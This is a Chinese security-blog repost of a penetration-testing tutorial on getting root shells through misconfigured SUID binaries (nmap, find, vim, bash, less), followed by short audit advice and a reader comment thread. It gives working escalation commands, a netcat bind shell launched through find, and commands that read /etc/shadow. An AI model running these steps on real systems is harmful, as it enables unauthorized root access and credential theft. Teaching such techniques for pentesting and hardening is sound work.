对SUID可提权Root Shell的探究

2017-09-29 429332人围观 ,发现 8 个不明物体 系统安全

SUID是Linux的一种权限机制,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。如果拥有SUID权限,那么就可以利用系统中的二进制文件和工具来进行root提权。

已知的可以用来提权的Linux可执行文件有:

Ø Nmap

Ø Vim

Ø find

Ø Bash

Ø More

Ø Less

Ø Nano

Ø cp

下面的命令可以发现所有的系统中运行的SUID可执行文件

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;

discovery-of-suid-executables.png

上面的所有二进制文件都可以在root权限下运行,因为他们的owner是root,并且他们的权限中含有s。s权限使一般使用者临时具有该文件所属主/组的执行权限。

ls -l /usr/bin/nmap
-rwsr-xr-x 1 root root 780676 2008-04-08 10:04 /usr/bin/nmap

suid-executable-nmap.png

Nmap

早版本的Nmap(2.02到5.21)有交互模式,允许用户执行shell命令。Nmap也是root权限下运行的二进制文件。

nmap -v 

nmap-version-identification.png

通过参数interactive可以进入交互模式

nmap --interactive

nmap-interactive-mode.png

下面的命令可以对shell提权

nmap> !sh
sh-3.2# whoami
root

root-shell-via-suid-nmap.png

Metasploit也有利用SUID Nmap进行提权攻击

exploit/unix/local/setuid_nmap

Find

如果find以SUID权限运行,所有通过find执行的命令都会以root权限运行。

touch pentestlab
find pentestlab -exec whoami \;

 find-command-execution.png

主流的Linux操作系统都安装了netcat,可以将该命令提权为root shell。

find pentestlab -exec netcat -lvp 5555 -e /bin/sh \;

run-netcat-via-find.png

连接开放的端口可以进行root shell提权


netcat 192.168.1.189 5555

id

cat /etc/shadow

root-shell-via-find.png

Vim

如果vim以SUID运行,就会继承root用户的权限,可以读取系统中所有的文件。

vim.tiny /etc/shadow

vim-reading-root-files.png

通过vim运行shell

vim.tiny
# Press ESC key
:set shell=/bin/sh
:shell

 vim-root-shell.png

Bash

下面的命令可以以root权限打开bash shell。

bash -p
bash-3.2# id
uid=1002(service) gid=1002(service) euid=0(root) groups=1002(service)

 bash-root-shell.png

Less

Less和more都可以执行提权的shell


less /etc/passwd

!/bin/sh

 less-root-shell.png

安全建议

事实证明,通过配置不准确的SUID执行文件可以进行root shell提权。安全管理员应该评估所有的SUID二进制文件,判断是否需要以高权限的用户运行,尤其应该关注可以执行代码和写数据的应用。

*来源:https://pentestlab.blog/2017/09/25/suid-executables/,转载请注明来自FreeBuf.COM

更多精彩
相关推荐

这些评论亮了

  • test 回复
    @ nologin 整天除了喷人还会干点别的不朋友?写文章不需要时间吗?你水平高全世界的人都和你一样高吗?本来就是知识分享,就你们这种人老bb,害的很多人想写点东西都怕被喷。
    )21( 亮了
  • nologin 回复
    这种文章也发?得多智障的运维能把这些程序加suid
    )13( 亮了
发表评论

已有 8 条评论

取消
Loading...

这家伙太懒,还未填写个人描述!

11 文章数 3 评论数 0 关注者

特别推荐

推荐关注

官方公众号

聚焦企业安全

活动预告

填写个人信息

姓名
电话
邮箱
公司
行业
职位
css.php